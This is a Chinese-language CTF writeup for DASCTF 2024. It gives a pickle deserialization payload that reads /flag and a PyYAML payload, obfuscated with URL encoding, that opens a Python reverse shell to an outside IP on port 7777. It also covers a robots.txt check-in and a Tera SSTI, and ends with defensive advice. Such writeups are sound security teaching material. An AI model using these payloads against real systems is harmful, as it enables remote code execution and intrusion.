DASCTF 2024最后一战|寒夜破晓,冬至终章(部分wp)
字数 1333 2025-08-22 12:22:42

DASCTF 2024最后一战|寒夜破晓,冬至终章 CTF Writeup 教学文档

1. Web题目分析:const_python

1.1 题目概述

这是一个基于Flask的Python Web应用,主要考察Python反序列化漏洞和文件操作。

1.2 关键代码分析

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']
    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:
        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\', 'compile', 'requests', 'exit', 'pickle', "class", "mro", "flask", "sys", "base", "init", "config", "session"}:
            if i.encode() in pickle_data:
                return i + " waf"
        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"

1.3 漏洞利用

1.3.1 绕过思路

  1. 题目禁用了ossys模块,但可以通过builtins模块的原始功能
  2. 目标是通过反序列化读取/flag文件内容
  3. 利用/src路由可以读取app.py内容的特点,将flag写入app.py

1.3.2 利用Payload构造

使用pker工具生成payload:

getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
flag = open('/flag')
read = getattr(flag, 'read')
f = open('./app.py', 'w')
write = getattr(f, 'write')
fff = read()
write(fff)
return

最终生成的pickle payload:

cbuiltins
getattr
p0
0cbuiltins
open
p1
0g1
(S'/flag'
tRp2
0g0
(g2
S'read'
tRp3
0g1
(S'./app.py'
S'w'
tRp4
0g0
(g4
S'write'
tRp5
0g3
(tRp6
0g5
(g6
tR.

1.4 利用步骤

  1. 将上述payload进行base64编码
  2. 发送到/ppicklee路由
  3. 访问/src路由即可看到flag内容

2. Web题目分析:yaml_matser

2.1 题目概述

这是一个基于Flask的YAML反序列化漏洞题目,考察PyYAML的反序列化利用。

2.2 关键代码分析

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename', '')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
            return 'welcome'

2.3 漏洞利用

2.3.1 绕过思路

  1. 题目使用了yaml.load(),说明PyYAML版本低于5.1
  2. WAF过滤了大量关键词,但可以使用URL编码绕过
  3. 目标是执行系统命令获取shell

2.3.2 利用Payload构造

使用YAML的!!python/object/new:type构造器:

!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec}
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%6f%73%27%29%2e%73%79%73%74%65%6d%28%27%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%6f%73%2c%70%74%79%2c%73%6f%63%6b%65%74%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%31%31%2e%78%78%78%2e%78%78%78%2e%31%35%39%22%2c%37%37%37%37%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%29%66%6f%72%20%66%20%69%6e%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%5c%27%27%29'))"

解码后的命令是:

__import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("111.xxx.xxx.159",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')

2.4 利用步骤

  1. 将上述YAML payload保存为文件
  2. 通过/upload路由上传文件
  3. 访问/Yam1?filename=上传的文件名触发反序列化
  4. 监听指定端口获取反弹shell

3. 签到题目分析:CHECKIN

3.1 题目概述

简单的签到题目,考察信息收集能力。

3.2 解题步骤

  1. 注意实际访问的是https://game.wetolink.com/而非https://game.gcsis.cn
  2. 检查页面源代码发现10秒后跳转
  3. 扫描https://game.wetolink.com/目录
  4. 检查robots.txt文件获取flag

4. 西湖论剑邀请函获取器

4.1 题目概述

这是一个基于Rust的SSTI(服务器端模板注入)题目,flag在环境变量中。

4.2 解题思路

  1. 识别使用的是Tera模板引擎
  2. 查找Tera模板的SSTI利用方法
  3. 通过模板注入读取环境变量获取flag

5. 总结与防御建议

5.1 漏洞总结

  1. Python反序列化漏洞:避免使用pickle.loads()处理不可信数据,使用json等安全格式替代
  2. YAML反序列化漏洞:使用yaml.safe_load()替代yaml.load()
  3. SSTI漏洞:对用户输入进行严格过滤,避免直接拼接模板

5.2 防御措施

  1. 更新PyYAML到最新版本(5.1+)
  2. 实现严格的输入验证和过滤
  3. 使用最小权限原则运行应用程序
  4. 禁用不必要的模块和功能

5.3 扩展学习

  1. Python反序列化漏洞深入研究
  2. YAML反序列化攻击向量
  3. 不同模板引擎的SSTI利用技术
  4. WAF绕过技术研究
DASCTF 2024最后一战|寒夜破晓,冬至终章 CTF Writeup 教学文档 1. Web题目分析:const_ python 1.1 题目概述 这是一个基于Flask的Python Web应用,主要考察Python反序列化漏洞和文件操作。 1.2 关键代码分析 1.3 漏洞利用 1.3.1 绕过思路 题目禁用了 os 和 sys 模块,但可以通过 builtins 模块的原始功能 目标是通过反序列化读取 /flag 文件内容 利用 /src 路由可以读取 app.py 内容的特点,将flag写入app.py 1.3.2 利用Payload构造 使用 pker 工具生成payload: 最终生成的pickle payload: 1.4 利用步骤 将上述payload进行base64编码 发送到 /ppicklee 路由 访问 /src 路由即可看到flag内容 2. Web题目分析:yaml_ matser 2.1 题目概述 这是一个基于Flask的YAML反序列化漏洞题目,考察PyYAML的反序列化利用。 2.2 关键代码分析 2.3 漏洞利用 2.3.1 绕过思路 题目使用了 yaml.load() ,说明PyYAML版本低于5.1 WAF过滤了大量关键词,但可以使用URL编码绕过 目标是执行系统命令获取shell 2.3.2 利用Payload构造 使用YAML的 !!python/object/new:type 构造器: 解码后的命令是: 2.4 利用步骤 将上述YAML payload保存为文件 通过 /upload 路由上传文件 访问 /Yam1?filename=上传的文件名 触发反序列化 监听指定端口获取反弹shell 3. 签到题目分析:CHECKIN 3.1 题目概述 简单的签到题目,考察信息收集能力。 3.2 解题步骤 注意实际访问的是 https://game.wetolink.com/ 而非 https://game.gcsis.cn 检查页面源代码发现10秒后跳转 扫描 https://game.wetolink.com/ 目录 检查 robots.txt 文件获取flag 4. 西湖论剑邀请函获取器 4.1 题目概述 这是一个基于Rust的SSTI(服务器端模板注入)题目,flag在环境变量中。 4.2 解题思路 识别使用的是Tera模板引擎 查找Tera模板的SSTI利用方法 通过模板注入读取环境变量获取flag 5. 总结与防御建议 5.1 漏洞总结 Python反序列化漏洞 :避免使用 pickle.loads() 处理不可信数据,使用 json 等安全格式替代 YAML反序列化漏洞 :使用 yaml.safe_load() 替代 yaml.load() SSTI漏洞 :对用户输入进行严格过滤,避免直接拼接模板 5.2 防御措施 更新PyYAML到最新版本(5.1+) 实现严格的输入验证和过滤 使用最小权限原则运行应用程序 禁用不必要的模块和功能 5.3 扩展学习 Python反序列化漏洞深入研究 YAML反序列化攻击向量 不同模板引擎的SSTI利用技术 WAF绕过技术研究